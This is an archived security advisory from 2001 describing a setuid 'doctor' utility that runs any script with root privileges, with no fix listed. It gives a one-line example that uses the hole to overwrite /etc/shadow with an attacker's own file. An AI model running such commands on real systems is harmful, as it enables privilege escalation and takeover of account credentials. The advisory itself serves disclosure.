24th Dec 2001 [SBWID-4953]
COMMAND
doctor suid script vulnerability
SYSTEMS AFFECTED
doctor v . ??
PROBLEM
Kitwor [http://www.promocja.kki.pl/wirus] posted to securitybugware :
You can execute any command with root priv:
Example: $ echo \"cat my_shadow_file > /etc/shadow\" > ./script $
doctor -s ./script
SOLUTION
Nothing yet.
The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2009 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.